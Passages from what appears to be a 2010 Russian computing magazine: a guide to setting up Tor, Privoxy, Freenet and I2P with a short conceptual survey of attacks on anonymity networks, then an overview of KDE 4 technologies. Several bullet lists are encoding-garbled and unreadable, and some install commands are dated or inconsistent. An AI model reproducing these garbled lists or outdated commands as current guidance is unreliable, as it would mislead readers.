Именно поэтому для лучшей сохранности 
данные следует передавать по зашифрован-
ным каналам.
Кроме утечки данных с выходных Tor-серве-
ров, существует также и опасность DNS-утеч-
ки, ведь даже несмотря на то, что сообщение 
будет направлено сквозь «Tor-туннель», 
DNS-запрос, раскрывающий адрес получате-
ля сообщения, может пойти «обходным путем». 
Чтобы избежать этого, следует использовать 
Tor в связке с Privoxy, либо воспользоваться 
сторонними DNS-серверами, такими как 
OpenDNS или TorDNS.
Другая опасность — это возможность выдачи 
клиентом раскрывающей его информации по 
запросу сервера. Так, например, может посту-
пить клиентское JavaScript-приложение, за-
груженное в браузер. Поэтому я бы порекомен-
довал отключить JavaScript в браузере, либо 
воспользоваться прокси-сервером Privoxy или 
Firefox-расширением Torbutton.
Установить и начать использовать Tor 
достаточно просто. Для этого необходимо 
установить Tor-клиент и HTTP-прокси Privoxy, 
который мы будем использовать для перена-
правления HTTP-трафика в Tor. В последних 

XÀÊÅÐ  01  /133/  10

ÒÎÏÎËÎÃÈß ÑÅÒÈ FREENET



версиях Ubuntu Tor-клиент недоступен, поэто-
му мы установим его из репозитория авторов 
программы. Для этого добавляем в файл /etc/
apt/sources.list следующую строку:

deb http://deb.torproject.org/

torproject.org karmic main

Запрашиваем ключи у сервера сертификации:

$ gpg --keyserver keys.gnupg.net 

--recv 886DDD89

$ gpg --export A3C4F0F979CAA22CDBA8

F512EE8CBC9E886DDD89 | sudo apt-key 

add -

Обновляем apt-кэш и устанавливаем необходи-
мые компоненты:

$ sudo apt-get update

$ sudo apt-get install tor tor-

geoipdb privoxy

После окончания установки открываем кон-
фигурационный файл Privoxy и пишем в него 
следующую строку:

forward-socks4a / 127.0.0.1:9050 .

Запускаем Privoxy:

$ sudo /etc/init.d/privoxy start

Устанавливаем плагин Torbutton для Firefox. 
Его можно взять со страницы https://addons.
mozilla.org/firefox/2275/ или же установить 
средствами apt:

$ sudo apt-get install torbutton-

extension

Перезапускаем браузер, активируем режим 
работы через Tor с помощью нажатия кнопки 
внизу справа. Переходим на страничку https://
check.torproject.org для проверки работоспо-
собности Tor. На экране должна появиться зе-
леная луковица. Остальные приложения легко 
перевести на использование Tor с помощью 
указания адреса Privoxy (localhost:8118) или 
SOCKS-сервера Tor (localhost:9050) в настрой-
ках. Чтобы научить консольные приложения, 
такие как wget, lynx, apt и другие, использовать 
Tor, добавь в свой ~/.bashrc следующие строки:

export http_

proxy=http://127.0.0.1:8118/

export HTTP_PROXY=$http_proxy

Стандартная поддержка SOCKS в SSH не под-
ходит для Tor, поэтому придется изловчиться и 
воспользоваться socat:

$ sudo apt-get install socat

Далее открой конфиг SSH (~/.ssh/config) и 
пропиши в него две строки:

Host *

ProxyCommand socat STDIO SOCKS4A:12

7.0.0.1:%h:%p,socksport=9050

Tor обеспечивает интерфейс для доступа к 
своей функциональности из других приложе-
ний, поэтому существует несколько проектов, 
которые позволяют использовать его возмож-
ности для ведения какой-либо анонимной 
деятельности в сети интернет. Одним из таких 
приложений является Torchat (https://code.
google.com/p/torchat/), специальный чат-
клиент для сети Tor, полностью скрывающий 
личности его участников.

Torchat написан на Python и не требует ка-
кой-либо настройки, поэтому для начала его 
использования достаточно установить пакеты 
python2.5, python-wxgtk2.8 и запустить torchat.
py, находящийся внутри архива с программой.

СМЕШИВАЮЩИЙ ЛЮБИМЕЦ
На тех же принципах Onion Routing (а точнее 
более ранней концепции — Mix network) 
построена разработанная в Беркли система 
анонимной почтовой переписки Mixminion 
(http://mixminion.net).
Первые две версии системы ничем не отли-
чались от стандартных ремейлеров, режущих 
заголовки, однако третья версия ушла далеко 
вперед и обеспечила не только удаление 
заголовков, но и способ пересылки писем, 
основанный на идее «смешанной сети».
Клиент mixminion разбивает оригинальное 
email-сообщение на фрагменты постоянной 
длины, для каждого из которых выбирает-
ся своя цепочка серверов. При этом срок 
жизни одного ключа ограничен, а отправитель 
получает ответ с помощью закрепленного за 
ним зашифрованного псевдонима. В качестве 
средств против анализа трафика присутствуют: 
разбивка сообщения на блоки постоянного 
размера в 28 Кб, случайная задержка во время 
отправки каждого блока, а также перемешива-
ние последовательности блоков ремейлером.

СВОДНАЯ СЕТЬ
Идея полностью свободной анонимной сети 
Freenet (http://freenetproject.org) принадлежит 
Яну Кларку (Ian Clarke), который в 1999 году 
защитил работу «A Distributed, Decentralised 
Information Storage and Retrieval System» в 
Эдинбургском университете и вскоре после 
этого собрал команду разработчиков, чтобы 
превратить свою идею в реальность с открыты-
ми исходными кодами.
Freenet представляет собой одноранговую 
сеть, предназначенную для децентрализо-
ванного распределенного хранения данных, 
источник и приемник которых невозможно 
определить никакими средствами. В отличие от 
Tor, Freenet не обеспечивает средств выхода в 
интернет, а создает собственный свободный и 
никем неограниченный мирок внутри сущест-
вующей сети.
Абстрактно Freenet представляется огромным 
хранилищем информации, все данные которого 
размазаны по узлам, входящим в анонимную 
сеть. Узел, поместивший данные в это храни-
лище, получает ключ, адресующий их. Когда 
данные понадобятся вновь, узел предъявляет 
ключ и получает данные обратно.
На более низком уровне это выглядит так: каж-
дый узел, вовлеченный во Freenet, выделяет 
некоторый объем дискового пространства и 
резервирует часть пропускной способности ин-
тернет-соединений для нужд сети. Когда один 
из узлов обращается к Freenet и делает запрос 
на запись файла, клиентское ПО генерирует 
хеш-ключ этого файла (на основе SHA-1) и 
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отдает его вместе с файлом нескольким соседям — 
ближайшим узлам Freenet, которые сохраняют их в своем 
локальном хранилище и отдают своим друзьям, они в свою 
очередь поступают таким же образом. Количество перебро-
сов файла между узлами может быть любым, поэтому, когда 
файл закончит свои путешествия, определить его источник 
без прохождения всей цепочки от начала до конца будет 
практически невозможно.
Аналогично происходит чтение записанного файла. Сосе-
дям узла отправляется ключ файла (фактически во Freenet 
это эквивалент имен файлов), которые проверяют, есть 
ли он в их локальном хранилище и, если нет, отправляют 
запрос своим соседям. После того как файл будет найден 
в локальном хранилище одного из соседей, он будет отдан 
обратно по цепочке запросившему файл узлу. При этом 
каждый из узлов, участвующих в передаче файла, кэширует 
его в своем хранилище.
Для большей скорости и лучшей защищенности описанная 
схема также включает в себя дробление файла на множест-
во мелких блоков и их шифрование, а также динамические 
списки ключей, которые содержат ближайшие соседи узла. 
В частности, именно с их помощью происходит поиск сосе-
дей (хотя адреса первых соседей вшиты в клиент).
Freenet — это не только файлообменная сеть и защищен-
ное хранилище информации. На его базе реализовано 
несколько приложений для работы в анонимной сети, среди 
которых:

* Frost — ñâîåãî ðîäà êëèåíò ôîðóìîâ, à òàêæå 

ôàéëîîáìåííèê, ïîçâîëÿþùèé çàëèâàòü ôàéëû âî 

Freenet, ïîëó÷àÿ â îòâåò êëþ÷ äîñòóïà.

* jSite — ïðîãðàììà äëÿ ñîçäàíèÿ ñîáñòâåííûõ 

«ôðèñàéòîâ», òî åñòü ñàéòîâ, ðàçìåùåííûõ âíóò-

ðè Freenet-ñåòè.

* Thaw — ïðîãðàììà äëÿ ðàáîòû ñ ãðóïïàìè ôàé-

ëîâ.

* freemulet — ôàéëîîáìåííèê, îáåñïå÷èâàåò øà-

ðèíã ôàéëîâ ñ «çàãðóçêîé ïî òðåáîâàíèþ».

* Ïëàãèí Freemail — àíîíèìíàÿ ýëåêòðîííàÿ ïî÷-

òà.

К сожалению, из-за слишком больших задержек в передаче 
данных для Freenet невозможно реализовать интерактив-

ные или требующие быстрого ответа приложения. Поэтому 
Freenet-сайты статичны и скудны на оформление, а в списке 
приложений нет чата или IM-пейджера.
Клиент Freenet написан на Java, поэтому перед скачива-
нием программы ты должен обзавестись соответствующей 
виртуальной машиной:

$ sudo apt-get install sun-java6-jre

$ sudo update-java-alternatives -s java-6-sun

Далее скачай и установи программу:

$ wget http://downloads.freenetproject.org/

alpha/installer/new_installer.jar

$ java -jar new_installer.jar

Следуй инструкциям. После окончания установки инстал-
лятор запустит клиент Freenet (если этого не произошло, 
перейди в каталог с установленной программой и запусти 
скрипт run.sh) и откроет браузер, в котором появится Web-
интерфейс, предназначенный для настройки твоего узла.
После окончания настройки ты получишь доступ к странич-
ке http://127.0.0.1:8888. Это страница FProxy, Freenet-прило-
жения для проксирования запросов браузера во Freenet-
сеть. На странице будут перечислены ссылки на популярные 
Freenet-сайты. Для конфигурирования Freenet-клиента 
предназначена страничка http://127.0.0.1:8888/config/. Все 
возможные опции прокомментированы, поэтому нет нужды 
отдельно упоминать о них.

НЕВИДИМЫЙ ИНТЕРНЕТ
Freenet обеспечивает очень высокий уровень анонимности 
в рамках своей сети, но создает существенные задержки 
при работе и не позволяет использовать стандартные TCP/
IP-приложения внутри своей сети. Проект I2P (Invisible 
Internet Project/Protocol) решает эти проблемы, создавая 
более удобную в использовании внутреннюю сеть, совсем в 
немногих аспектах уступающую Freenet по уровню аноним-
ности.
В отличие от Freenet, I2P не является файлообменной 
сетью. Принцип ее работы больше напоминает Tor, а потому 
I2P гораздо быстрее Freenet. Кроме того, I2P позволяет 
использовать протокол TCP/IP в своих сетях, а также имеет 

 091

• Tor был пред-
ставлен Роджером 
Динглдайном, 
Ником Мэтьюсоном и 
Паулом Сиверсоном 
на 13-м USENIX сим-
позиуме по безопас-
ности, прошедшем 13 
Августа 2004 года. Его 
исходный код опубли-
кован под лицензией 
BSD.

• Vidalia и TorK — 
приложения для 
настройки Tor, напи-
санные с использо-
ванием библиотеки 
Qt4.

• Tor может быть 
использован не 
только в качестве 
прокси для доступа к 
интернет-серверам. 
Внутри сети Tor также 
существуют ресур-
сы (домен .onion), 
которые гарантируют 
анонимность как кли-
ента, так и сервера.

info

INFO

На прилагаемом к 
журналу диске ты 
найдешь послед-
нюю версию LiveCD 
Incognito.

dvd

DVD

Уровни шифрования I2P
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«выходные узлы», которые можно исполь-
зовать для выхода во внешнюю сеть (эта 
особенность превращает I2P в конкурента Tor). 
Основа работы I2P — «луковые маршрутизато-
ры», роль которых выполняет каждый узел сети. 
Отправляемое узлом сообщение проходит две 
цепочки (туннеля в терминологии I2P), первый 
из которых строится узлом-отправителем, а 
второй — узлом-получателем сообщения. Во 
время передачи сообщение подвергается 
многоуровневому шифрованию (сквозное, 
туннельное и транспортного уровня), конечные 
узлы, представленные идентификаторами, не 
имеющими связи с реальными IP-адресами, 
проходят криптографическую аутентификацию. 
Туннели перестраиваются каждые 10 минут.
I2P допускает выход за пределы своей сети с 
помощью специальных «выходных серверов», 
которые могут использоваться для анонимного 
веб-серфинга. Кроме того, существуют шлюзы для 
выхода во Freenet-сеть. Арсенал приложений, 
доступных для работы в сети I2P, включает в себя:

* I2PSnark — ñòàíäàðòíûé òîððåíò-

êëèåíò äëÿ ñåòåé I2P. Óñòàíàâëèâàåò-

ñÿ ïî óìîë÷àíèþ.

* I2P-BT — ìîäèôèêàöèÿ BitTorrent 

3.4.2 äëÿ I2P.

* I2PRufus — êëèåíò Rufus äëÿ I2P.

* I2Phex — gnutella-êëèåíò Phex äëÿ 

I2P.

* iMule — ìîäèôèêàöèÿ eMule äëÿ I2P.

* Susimail — ñâîáîäíûé àíîíèìíûé 

ïî÷òîâûé ñåðâèñ äëÿ I2P.

* Syndie — ïðèëîæåíèå äëÿ áëîããåðîâ.

Некоторые открытые программы, например, 
Azureus, включают в себя плагины для работы 
в сети I2P.
Как и клиент сети Freenet, клиент I2P написан 
на Java и снабжен инсталлятором. Поэтому для 
установки необходимо выполнить два простых 
шага:

$ wget http://mirror.i2p2.de/

i2pinstall-0.7.7.exe

$ java -jar ./i2p_install-0.7.7.exe

Следуй инструкциям, выбери язык, согласись 
с условиями лицензии, укажи путь установ-
ки. После ее окончания перейди в каталог с 
установленным приложением и запусти его с 
помощью команды:

$ ./i2prouter start

Панель управления приложением находится 
по адресу: http://127.0.0.1:7657/index.jsp. Адрес 

HTTP-прокси: 127.0.0.1:4444. Внутренние сайты 
I2P находятся в домене .i2p, их список доступен 
на сайте orion.i2p, внутренние поисковики: 
search.i2p и eepsites.i2p. Для разрешения имен 
используется текстовый файл, по умолчанию 
его содержимое весьма скудно. Чтобы попол-
нить его, добавь строку http://orion.i2p/hosts.
txt в раздел управления подписками (http://
localhost:7657/susidns/subscriptions.jsp).

КАРМАННАЯ АНОНИМНОСТЬ
LiveCD Incognito (www.anonymityanywhere.com/
incognito/) предназначен специально для пара-
ноидальных пользователей сети. Он включает в 
себя множество самых разнообразных инстру-
ментов, обеспечивающих полную анонимность 
при работе в интернет. Ключевую роль среди 
них занимает клиент Tor, который интегрирован 
с Firefox с помощью Torbutton. Все остальные 
приложения, способные использовать SOCKS- 
или HTTP-прокси, настроены на его использо-
вание. Среди других инструментов доступны:

* Firefox + Tor + Torbutton — àíîíèì-

íûé WWW.

* TrueCrypt — øèôðîâàíèå ôàéëîâ è 

ðàçäåëîâ.

* Enigmail — Thunderbird-ðàñøèðåíèå 

äëÿ øèôðîâàíèÿ ïèñåì.
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* FireGPG — ïëàãèí Firefox, ïðåäíàçíà÷åííûé äëÿ èñïîëü-

çîâàíèÿ øèôðîâàíèÿ ñîâìåñòíî ñ ïî÷òîâûìè êëèåíòàìè, 

ðàñïîëîæåííûìè â Web.

* GnuPG — ðåàëèçàöèÿ OpenPGP.

* KeePassX — ìåíåäæåð ïàðîëåé.

* Miminion — êëèåíò àíîíèìíîé ïî÷òîâîé ñèñòåìû.

При записи на USB дистрибутив способен шифровать все пользова-
тельские настройки и пароли. Во время выключения питания опера-
тивная память полностью перезаписывается, чтобы избежать возмож-
ности восстановления данных. MAC-адрес сетевой карты может быть 
автоматически изменен.

АТАКИ НА АНОНИМНЫЕ СЕТИ
Как и любые другие виды сетей, анонимные сети также подвержены 
различного рода атакам. Здесь можно выделить:

* Òàéìèíã-àòàêè

* Bruteforce-àòàêè

* Àòàêà ïðåñå÷åíèÿ

Тайминг-атака основана на поиске и анализе повторяющихся 
паттернов в частоте отправки сообщений. Защита от такого вида 
атак предусмотрена в новых версиях всех описанных в статье систем 
и включает в себя разбивку сообщений на блоки фиксированной 
длины, внесение случайных задержек и их перемешивание перед 
отправкой.
Bruteforce-атака носит скорее теоретический, нежели практи-
ческий характер. Осуществить ее может только сторонний наблю-
датель, способный прослушивать интернет-трафик в глобальных 
масштабах и обладающий возможностями для его обработки. 
Теоретически такой наблюдатель вполне может определить соот-

ветствие между отправленным сообщением и его отправителем 
и/или адресатом.
Атака пресечения основана на данных о моментах продолжительности 
сеансов связи узлов сети. Для ее проведения также необходим анализ 
трафика в глобальных масштабах.
Вообще говоря, безопасность анонимной сети напрямую зависит 
от количества ее участников. Чем больше узлов вовлечено в сеть, 
тем труднее отследить потоки информации и их отправителей. Это 
справедливо для сетей Freenet и I2P, в которых любой клиент также 
выступает в роли маршрутизатора трафика. Сеть Tor, напротив, 
делает различия между клиентами и серверами (маршрутизатора-
ми), снимая нагрузку с клиентов, но существенно сокращая свои 
масштабы (не каждый пользователь клиента установит на свой узел 
сервер). z
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ÈÒÀÊ, 7 ÑÒÎËÏÎÂ KDE 4:

• Solid — API и «прослойка» для абстракции 
над железом.
• Phonon — мультимедиа API.
• Decibel — сервис и API для организации 
общения в режиме реального времени.
• Akonadi — фреймворк PIM.
• Nepomuk — семантический рабочий стол.
• Plasma — фреймворк рабочего стола.
• Oxygen — новая тема рабочего стола.

SOLID
KDE 4 способен работать на множестве опера-
ционных систем, включая различные варианты 
BSD и Windows. Каждая из этих ОС требует 
собственного подхода к работе с оборудовани-
ем и вынуждает программистов приложений 
придумывать различные прослойки для работы 
с ним, учитывающие особенности различных 
ОС и их версий. Разрабатывая приложения для 
среды KDE 4, программист не обязан выдумы-
вать такие прослойки самостоятельно, а может 
положиться на Solid API.

Solid — это обертка вокруг средств управления 
железом, которая позволяет разработчикам 
приложений использовать единый API для 
доступа к оборудованию компа в любой ОС. 
Solid не идет на замену HAL и другим средст-
вам, он лишь создает удобный интерфейс к их 
функциональности, позволяя использовать 
самые разные движки для доступа к оборудова-
нию, такие как HAL, NetworkManager и BlueZ. 
При этом замена существующего движка или 
добавление нового не повлечет за собой пере-
писывание приложений, использующих Solid, 
потребуется обновить лишь его самого.
Пользователям Solid может дать не меньше 
удобств. В KDE 4 работа с оборудованием про-
исходит гораздо более гладко и умно. Найдя в 
системе установленный NetworkManager, KDE 
автоматически начнет использовать его воз-
можности для поиска и настройки сетей. Среда 
способна самостоятельно находить более 
высокоскоростные каналы связи и переклю-
чаться на их использование, при подключении 
флешки может быть произведен автоматичес-
кий бэкап ее содержимого на жесткий диск. 

И, конечно же, все это работает одинаково в 
любой поддерживаемой ОС.

PHONON
С появлением aRts KDE 2 обзавелся собст-
венным звуковым сервером и API, которые 
позволили разработчикам приложений абс-
трагироваться от конкретных устройств вывода 
звука, а пользователям — услышать звук сразу 
из нескольких источников (тогда еще ни Linux, 
ни BSD не умели микшировать звуковые потоки 
программно).
aRts продержался в KDE до последних выпус-
ков KDE 3, но из-за вложенных ограничений, 
таких как отсутствие поддержки видео и не-
возможность использования других звуковых 
движков, был выкинут из KDE 4 и заменен на 
новый мультимедиа-фреймворк Phonon.
В отличие от aRts, Phonon более комплексное и 
гибкое решение, благодаря которому пользо-
ватели получают тонкий контроль над источ-
никами и приемниками звука, могут управлять 
накладываемыми эффектами, в один клик на-
страивать самые изощренные схемы прохожде-

 094

Îáçîð 7 êëþ÷åâûõ òåõíîëîãèé KDE 4

Ñåìü 
÷óäåñ KDE
KDE 4 включает в себя 7 ключевых технологий, также известных как 
«Столпы KDE» (Pillars of KDE), которые позволили ему выйти на лидиру-
ющие позиции по технологичности и продуманности среди всех окруже-
ний рабочего стола. В этой статье я познакомлю тебя с этими технологи-
ями и докажу, что KDE 4 вовсе не «ошибка природы», а гигантский шаг 
вперед.
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ния звука (например, направить звук от Skype в 
наушники, а уведомления от Kopete — 
в колонки), использовать единый пункт 
настройки звука (приложения, использующие 
Phonon, вообще не имеют собственных средств 
настройки звука), задействовать все преиму-
щества Solid для автонастройки устройств 
вывода звука (например, при подключении 
USB-наушников Phonon может автоматически 
переключать Skype на вывод звука через них).
Разработчикам Phonon дает не меньшую сво-
боду и удобство. Его API поддерживает не толь-
ко вывод звука, но и видео, при этом API очень 
прост и компактен. Например, для проигры-
вания звукового файла с помощью Phonon API 
достаточно всего четырех строк кода на C++ 
(тогда как в случае с aRts требовалось 30):

media = new MediaObject(this);

connect(media, SIGNAL(finished()), 

SLOT(slotFinished()));

media->setCurrentSource("/home/

username/music/filename.ogg");

media->play();

Отличительная особенность Phonon за-
ключается также и в том, что он не исполь-
зует единственный встроенный движок 
вывода аудио и видео, а может использо-
вать его самые разные варианты, начиная 
от Xine и GStreamer на UNIX-платформе 
и заканчивая DirectShow на Windows 
(переключение между которыми может 
быть произведено на лету, без остановки 
воспроизведения).

DECIBEL
KDE 4 обзавелся и собственным фреймворком 
для организации общения в режиме реально-
го времени, включая голосовую и видеотеле-
фонию, IP-телефонию (VoIP), текстовые чаты и 
обмен сообщениями (IRC, ICQ, Jabber).
Decibel основан на Telepathy API (проект 
freedesktop.org) и использует совместимую с 
ним библиотеку Tapioca. Ему подчинено все, 
что относится к мгновенной доставке сооб-
щений между двумя и более пользователями. 
Любой компонент KDE 4, способный предо-
ставить такой функционал, может (и должен) 
использовать Decibel.
Decibel существенно упрощает программи-
рование приложений, поддерживающих фун-
кции обмена мгновенными сообщениями, и 
позволяет разработчику сконцентрироваться 
на функциональности приложения, а не на от-
лове ошибок и реализации функциональности, 
специфичной для обмена сообщениями.

AKONADI
В KDE 3 приложения, управляющие 
персональной информацией, вынуждены 
были хранить свои данные раздельно, в 
результате чего часть информации дубли-
ровалась. Kmail, Kontact и другие програм-
мы, управляющие личной информацией, 
использовали собственный метод доступа к 
ней, поэтому данные были не согласованы, 
часто дублировались, а программистам 
приходилось проделывать множество 
дополнительной работы для поддержания 
несогласованных между собой, но повто-
ряющих функциональность, систем. В KDE 
4 управление персональными данными 
организовано совершенно иначе, и здесь за 
ее хранение отвечает Akonadi.
Говоря простым языком, Akonadi — это фрейм-
ворк PIM (Personal Information Management, 
Управление Персональной Информацией), 
который представляет собой клиент-сер-
верную инфраструктуру, предназначенную 
для хранения персональной информации, 
обрабатываемой различными приложениями, 
и получения доступа к ней.
Akonadi технологичен, а это значит, что кроме 
простого хранения данных, он предоставляет 
программистам быстродоступный кэш, обла-
дает собственным языком запросов, позволяет 
производить прозрачную синхронизацию 
данных с другими ресурсами, может быть рас-
ширен для поддержки новых типов данных и 
ресурсов, предлагает простой и понятный API 
и многое, многое другое. По сути Akonadi дает 
программистам все, что нужно для реализации 
хранения персональных данных пользователя 
в их программах.
Что до простых пользователей, то благода-
ря Akonadi они получают весьма полезные 
свойства: приложения могут не дублировать в 
памяти данные, сохраняя ее для других нужд, 
синхронизация данных происходит полностью 
в фоновом режиме, а приложения всегда 
«видят» актуальную информацию.

ÌÍÅÍÈÅ
Порой случается так, что решения проблем, накопленные годами, порождают новые про-
блемы, и эту цепочку совсем не просто разорвать. Выход один — сломать все и написать код 
с нуля. Так примерно и произошло со средой KDE 4, разработчики которой показали, что они 
готовы пойти на кардинальные изменения, ведь даже совместимость с предыдущей версией 
не гарантируется.
Начало третьей версии KDE положено в апреле 2002, за 7 лет развития много чего изме-
нилось как в самом проекте, так и в IT-сфере. С одной стороны — появилось новое обору-
дование, технологии, ОС и так далее. А с другой стороны — код некоторых компонентов и 
приложений (Kicker, Kdesktop, aRts) не менялся еще со времен KDE 2 и добавлять новое, не 
нарушив старое, было проблематично, а то и вовсе невозможно. Поэтому все новинки, вроде 
SuperKaramba, не встраивались, а наслаивались на то, что есть. Как ты понимаешь, это не 
могло положительно сказаться на стабильности, совместимости и производительности. Кроме 
того, многие идеи, например рабочий стол — папка, оказались не совсем удачны и ограничи-
вали пользователя. Для программистов KDE 3 являлась мудреной головоломкой, требовав-
шей каждый раз «индивидуального» подхода, и становилось все сложнее добавлять новые 
вкусности в заваренную кашу.
В KDE 4 учтены все пожелания и ошибки, в том числе изменена структура проекта. Модуль-
ность позволит быстро включать новые функции и постепенно отказаться от устаревших 
решений.
Недоработанность первых версий KDE 4 привела к тому, что начался отток пользователей в 
GNOME (который к релизу 2.30, возможно, окажется в таком же положении, как и KDE 4.0), но 
за 2 года была проведена колоссальная работа, и пользователи начали «возвращаться» в эту 
среду.

Владимир «turbina» Ляшко (v.turbina@gmail.com), автор статьи «Новые кеды для гламурно-
го юниксоида», опубликованной в январском номере z за 2008 год.

XÀÊÅÐ  03  /134/  10

Две активности с разным набором виджетов



NEPOMUK
NEPOMUK (Networked Environment for 
Personalized, Ontology-based Management of 
Unified Knowledge, Сетевое окружение для персо-
нализированного и основанного на Онтологиях 
управления Единым Знанием) — это специфика-
ция, описывающая социальный семантический 
рабочий стол, о котором можно прочитать на стра-
нице nepomuk.semanticdesktop.org и который 
не имеет отношения к KDE как таковому. Однако 
реализация этой спецификации для KDE 4 очень 
интересна и напрямую касается темы статьи.
Несмотря на пугающую и кажущуюся 
совершенно бессмысленной расшифровку 
термина, идея семантического десктопа и 
Nepomuk достаточно проста и сводится к 
тому, чтобы получить рабочий стол, в котором 
доступ к информации будет производиться 
семантическими средствами. Говоря други-
ми словами, в таком окружении пользователь 
сможет выполнить запрос вида «Прошло-
годние фотки с Анькой» и получить ответ в 
виде открытого просмотрщика фотографий, 

содержащего эти самые фотографии.
Чтобы добиться этого, KDE-реализация 
Nepomuk использует индексирующий инстру-
мент Strigi, анализирующий новые файлы и 
извлекающий из них метаданные (например, 
на основе mp3-тегов). В дополнение метадан-
ные могут быть созданы самим пользователем, 
используя, например, файловый менеджер 
Dolphin (как ты мог заметить, в его правой 
панели отображается не только информация о 
файле, но и интерфейс выставления рейтинга, 
добавления комментариев и тегов). Нако-
пив достаточную базу тегов, комментариев и 
рейтингов, пользователь может инициировать 
поиск нужных файлов, просто набрав тег в 
KRunner (Alt+F2).
На данный момент Nepomuk закончен не 
полностью и по умолчанию отключен. Чтобы 
проверить его в действии, необходимо пе-
рейти в настройки (System Settings), открыть 
вкладку Advanced, выбрать элемент Desktop 
Search и отметить галочками пункты Enable 
Nepomuk Semantic Desktop и Enable Strigi 

Desktop File Indexer. Перейдя на вкладку 
Advanced Settings, можно выбрать каталоги 
для индексирования. После нажатия кнопки 
Apply Strigi начнет действовать и сообщит 
о проделанной работе с помощью стан-
дартного уведомления. После этого можно 
запустить KRunner и набрать имена тегов 
для поиска.

PLASMA
Во времена KDE 1 рабочим столом управлял 
файловый менеджер KDE. Именно он был 
ответственен за создание иконок на рабо-
чем столе и панели задач. С выходом KDE 2 
файловый менеджер распался на несколько 
независимых приложений, управляющих раз-
ными компонентами рабочего стола: файловый 
менеджер, предназначенный для навигации 
по файловой системе, панели, исполняемые в 
рамках отдель ных процессов, и рабочий стол, 
хранящий иконки. В KDE 3 к этой тройке доба-
вилась еще и SuperKaramba — неофициальное 
дополнение к рабочему столу KDE, позволяю-
щее размещать на нем виджеты.
Со временем такое положение дел становилось 
все более неудобным как для разработчиков, 
так и для пользователей. Компоненты рабочего 
стола были плохо связаны друг с другом и не 
могли в полной мере консолидировать дейст-
вия по поддержке рабочего стола. Пользовате-
ли жаловались на недостаток эффектов рабоче-
го стола и его несовременность. Апплеты были 
слишком примитивны и могли быть написаны 
только на языке C++. Эти проблемы в конечном 
итоге привели к полному избавлению KDE 4 от 
KDesktop, Kicker и SuperKaramba и интегра-
ции в него новой технологии, получившей имя 
Plasma.
Plasma — это своего рода фреймворк рабочего 
стола, который объединяет воедино сам рабо-
чий стол, панели, иконки, виджеты и апплеты. 
Исполняясь в рамках одного процесса, Plasma 
делает рабочий стол KDE 4 интегрированной 
средой с общим API для разработчиков и гар-
моничным внешним видом для пользователей.
Благодаря глубокой интеграции компонен-
тов, Plasma предоставляет функциональ-
ность, недоступную ни в одной другой среде. 
Ведь на самом деле рабочий стол Plasma не 

UNIXOID

Архитектура Akonadi

Рабочий стол одного из разработ-
чиков KDE 4.4

PLASMA È ÏÎÄÄÅÐÆÊÀ ÂÈÄÆÅÒÎÂ

• Родные плазмойды, написанные на языках C++, JavaScript, Ruby или Python
• Google Gadgets
• Темы SuperKaramba
• Гаджеты QEdje, совместимые с гаджетами Edje и модулями E17
• Виджеты Mac OS X
• Веб-виджеты с поддержкой HTML и JavaScript
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делится на множество различных компонентов, вроде 
панелей, иконок, апплетов и т.д., а представляет собой 
среду, состоящую из компонентов одного вида — видже-
тов рабочего стола, называемых плазмойдами. В Plasma 
виджеты везде: это и меню, и иконки, и трей, и часы, 
и панель, и обои рабочего стола (это так называемые 
«сдерживающие» виджеты, способные содержать в себе 
другие виджеты).
Для пользователя, конечно, вся однотипность интерфейса 
скрыта, и он по-прежнему видит панели, иконки, виджеты 
рабочего стола (в классическом понимании), однако стоит 
ему начать использовать KDE 4, как он заметит, что любой 
виджет можно легко превратить в апплет, просто перетащив 
его на панель, или выполнить обратную процедуру, выта-
щив, к примеру, трей из панели и поместив его на рабочий 
стол, рядом со сводкой погоды и корзиной.
Plasma интегрирована со скриптовым фреймворком Kross, 
поэтому плазмойды могут быть написаны не только на род-
ном для KDE языке C++, но и на JavaScript, Ruby или Python. 
Более того, в Plasma интегрировано несколько библиотек, 
обеспечивающих совместимость с виджетами других сред, 
поэтому Plasma также поддерживает и гаджеты Google и 
виджеты Mac OS X (они, однако, не обладают гибкостью 
плазмойдов и могут быть размещены только на рабочем 
столе).
Plasma обеспечивает возможность произвольного масш-
табирования и вращения плазмойдов. Рабочий стол KDE 
4 действительно легко масштабируется и может выглядеть 
одинаково на разных дисплеях и при разных разрешениях. 
При этом не возникает каких-либо проблем со шрифтами, 
разрешением иконок и т.д. Рабочий стол в буквальном 
смысле растягивается и сжимается.
Масштабируемость рабочего стола и виджетов, а также 
возможность вкладывания виджетов друг в друга позволяет 
Plasma быть действительно универсальным решением 
для всех типов интерфейса. Например, в рамках проекта 
Plasma-Netbook планируется реализовать специальный 
тип интерфейса для нетбуков. Чтобы понять, что это не 
просто перетаскивание панелей на другие места, а действи-
тельно новый интерфейс, достаточно просто взглянуть на 
скриншоты.
Кроме того, в рамках проекта Google Summer of Code Алес-
сандро Диафериа (Alessandro Diaferia) создал интерфейс 
медиацентра, полностью основанный на Plasma. В качестве 
экспериментов с помощью Plasma были созданы даже 
интерфейсы приложений.
Кроме красоты, универсальности и глубокой внутренней 
проработанности, Plasma вносит в KDE 4 еще одно очень 
полезное и удобное в работе свойство: activity. Актив-

ностью в KDE 4 называется какой-либо вид деятель-
ности. Идея в том, что работая за компом, пользователь 
в один момент времени занят только какой-то одной 
деятельностью, например, разработкой ПО, игрой в игры, 
просмотром фильмов, браузингом сети и т.д. Для любого 
вида деятельности в KDE есть набор виджетов, которые 
пользователь может разместить на своем рабочем столе. 
Загвоздка только в том, что если он «повесит» все вид-
жеты, которые только могут ему пригодиться, на рабочий 
стол одновременно, то это не только будет неудобно, такое 
большое количество виджетов просто не поместится на 
экране. Активности позволяют создать индивидуальный 
набор виджетов для каждого рабочего стола, переключа-
ясь между которыми, пользователь будет переходить от 
одного вида деятельности к другому.
Для создания активности кликни по эмблемке в правом 
верхнем углу экрана и выбери пункт меню Zoom Out. Когда 
рабочий стол отодвинется и станет в четыре раза меньше 
экрана, нажми Add Activity. После этого рядом с существу-
ющим появится новый рабочий. Нажми кнопку Zoom In под 
новым рабочим столом, чтобы перейти к его использова-
нию. Все добавленные на него виджеты будут индивидуаль-
ны и не повлияют на другие рабочие столы.
Перемещаться между активностями с использованием 
кнопок Zoom In и Zoom Out не очень удобно, поэтому 
активности можно привязать к виртуальным рабочим 
столам. Для этого вновь нажми Zoom Out, затем Configure 
Plasma и поставь галочку напротив Different activity for 
each desktop.

OXYGEN
Oxygen не может идти ни в какое сравнение с другими техно-
логиями KDE 4, но, тем не менее, является важной состав-
ляющей новой версии среды. В двух словах: Oxygen — это 
полностью новая тема рабочего стола KDE 4, включающая 
